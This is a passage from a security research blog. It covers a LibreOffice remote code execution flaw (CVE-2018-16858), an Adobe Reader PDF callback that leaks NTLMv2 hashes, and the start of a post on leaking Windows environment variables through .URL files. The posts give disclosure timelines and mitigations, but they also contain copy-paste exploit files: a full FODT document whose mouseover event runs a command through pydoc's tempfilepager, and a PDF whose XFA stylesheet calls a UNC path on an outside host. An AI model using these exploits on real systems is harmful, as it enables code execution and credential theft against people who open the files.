Friday, February 1, 2019

Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution



I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.

Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters)
Tested Operating Systems: Windows + Linux (both affected)

https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/



The feature


I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. 
I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java
JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). 

Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):



I choosed to use the onmouseover event and the python sample installed with LibreOffice. 
After assigning this script (or event as it is called in the LibreOffice world)  and saving this file, I was able to have a look at the created file structure:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>


This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): 
C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py 

The file contains a createTable function.

So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog.

Important side note:  LibreOffice ships with its own python interpreter, so there is no need that python is actually installed 


The Bug


Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!
To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. 
Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.
That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.

Exploitation


To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler:

"LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension."

If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. 

The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.

The solution


For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&amp;location=share" xlink:type="simple"/>


As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:

File:
C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py

Code:
def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        file.write(text)
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename)

The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/>


Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:



Reporting the bug


Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast. 

Timeline:
18.10.2018 - reported the bug
30.10.2018 - bug was fixed and added to daily builds
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish
01.02.2019 - Blogpost published


The path traversal is fixed in (I just tested these versions):
Libreoffice: 6.1.4.2
Libreoffice: 6.0.7

Vulnerable:
Openoffice: 4.1.6 (latest version)

I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.
To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py)

Additional note

As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed)



Proof-of-concept - Copy&Paste and save it with an .fodt extension!

Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
 <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
 <office:settings>
  <config:config-item-set config:name="ooo:view-settings">
   <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item>
   <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item>
   <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item>
   <config:config-item-map-indexed config:name="Views">
    <config:config-item-map-entry>
     <config:config-item config:name="ViewId" config:type="string">view2</config:config-item>
     <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item>
     <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item>
     <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item>
     <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item>
     <config:config-item config:name="ZoomType" config:type="short">0</config:config-item>
     <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item>
     <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item>
     <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item>
     <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item>
     <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item>
    </config:config-item-map-entry>
   </config:config-item-map-indexed>
  </config:config-item-set>
  <config:config-item-set config:name="ooo:configuration-settings">
   <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterName" config:type="string"/>
   <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/>
   <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/>
   <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item>
   <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item>
   <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item>
   <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/>
   <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrinterSetup" config:type="base64Binary"/>
   <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item>
   <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item>
   <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item>
   <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/>
   <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item>
   <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item>
   <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item>
   <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item>
   <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item>
   <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item>
   <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintFaxName" config:type="string"/>
   <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item>
  </config:config-item-set>
 </office:settings>
 <office:scripts>
  <office:script script:language="ooo:Basic">
   <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
    <ooo:library-embedded ooo:name="Standard"/>
   </ooo:libraries>
  </office:script>
 </office:scripts>
 <office:font-face-decls>
  <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/>
  <style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/>
  <style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/>
  <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/>
 </office:font-face-decls>
 <office:styles>
  <style:default-style style:family="graphic">
   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
    <style:tab-stops/>
   </style:paragraph-properties>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/>
  </style:default-style>
  <style:default-style style:family="paragraph">
   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
  </style:default-style>
  <style:default-style style:family="table">
   <style:table-properties table:border-model="collapsing"/>
  </style:default-style>
  <style:default-style style:family="table-row">
   <style:table-row-properties fo:keep-together="auto"/>
  </style:default-style>
  <style:style style:name="Standard" style:family="paragraph" style:class="text"/>
  <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text">
   <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/>
   <style:text-properties style:font-name="Liberation Sans" fo:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="&apos;Microsoft YaHei&apos;" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/>
  </style:style>
  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
  </style:style>
  <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list">
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra">
   <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/>
   <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/>
  </style:style>
  <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index">
   <style:paragraph-properties text:number-lines="false" text:line-number="0"/>
   <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/>
  </style:style>
  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
   <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
  </style:style>
  <text:outline-style style:name="Outline">
   <text:outline-level-style text:level="1" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="2" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="3" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="4" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="5" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="6" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="7" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="8" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="9" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
   <text:outline-level-style text:level="10" style:num-format="">
    <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
     <style:list-level-label-alignment text:label-followed-by="listtab"/>
    </style:list-level-properties>
   </text:outline-level-style>
  </text:outline-style>
  <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/>
  <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/>
  <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/>
 </office:styles>
 <office:automatic-styles>
  <style:style style:name="T1" style:family="text">
   <style:text-properties officeooo:rsid="001104a2"/>
  </style:style>
  <style:page-layout style:name="pm1">
   <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in">
    <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>
   </style:page-layout-properties>
   <style:header-style/>
   <style:footer-style/>
  </style:page-layout>
 </office:automatic-styles>
 <office:master-styles>
  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
 </office:master-styles>
 <office:body>
  <office:text>
   <text:sequence-decls>
    <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Table"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Text"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Figure"/>
   </text:sequence-decls>
   <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p>
  </office:text>
 </office:body>
</office:document>




Saturday, January 26, 2019

Adobe Reader - PDF callback via XSLT stylesheet in XFA


I have seen on twitter that there is use for another PDF callback Proof-of-Concept in Adobe Reader.
Last year a PDF file called "BadPDF" was created, which allowed to trigger a callback to an attacker controlled SMB server and leak the users NTMLv2 hash. The used technique was fixed by Adobe (CVE-2018-4993).

As you are reading this blog post you can already guess that I discovered another callback mechanism. Sadly I have no cool name for my PDF... ;)
Spoiler alert: It is not perfect but good enough for now.

Tested Version: Adobe Acrobat Reader DC 19.010.20069
OS: Windows


The callback: xml-stylesheet in XFA structure


Once again the XML Form Architecture (XFA) structure helped.
XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a xml-stylesheet does the trick.
Adobe Reader actually detects any http/https URLs specified in a xml-stylesheet element and asks for the user's confirmation. This dialog can be simply bypassed by using UNC paths.

I think the PoC should explain how the leak works (once again I used one of the many PDF templates of Ange Albertini)


!Notes about the PoC!


I could not find a way to actually get the specified XSLT sheet to be properly loaded. After the request is send (either via SMB or WebDAV) Adobe Reader always displays an "Access Denied" error.

Proof-of-Concept (Copy & Paste ready)


% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

%PDF-1. % can be truncated to %PDF- 

1 0 obj <<>> 
stream
<?xml version="1.0" ?>
<?xml-stylesheet href="\\example.com\share\whatever.xslt" type="text/xsl" ?>
endstream
endobj
trailer <<
    /Root <<
        
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

SMB hashes


It is also possible to use this callback to capture the NTMLv2 hash via the Responder tool from SpiderLabs. The following screenshot shows the output of the tool as soon as the PDF is opened by Adobe Reader:



Mitigation option


To prevent the callback from happening it is necessary to enable the "Protected View" in Adobe Reader. This option it is available in Edit -> Settings -> Security (Advanced) -> Protected View: Enable for all files. In case this setting is enabled Adobe Reader will freeze when the PoC is opened but no request is send. Any "normal" PDF will just open fine.

Monday, August 20, 2018

Leaking Environment Variables in Windows Explorer via .URL or desktop.ini files


I recently discovered an interesting behavior how explorer.exe handles defined icon resources for certain file types

IconFile property


The .URL file format as well as desktop.ini allow to define icons. In case of .URL files, this icon will be used for the .URL file itself - desktop.ini defines the icon of the folder it is placed in.
I will only describe the behavior of .URL files but for desktop.ini the behavior is almost identical.
Basically all you need to do is to create a .URL file either in a local folder or maybe on an USB stick.
The important property to specify is the IconFile property. Not only does it allow to specify remote icons on a SMB share but additionally it allows to use environment variables.
That means  as soon as explorer.exe views a folder, which contains a .URL file, it will lookup any specified environment variable like %PATH% or %USERNAME% before sending the actual request, therefore leaking its content to the attacker controlled server.
Note:
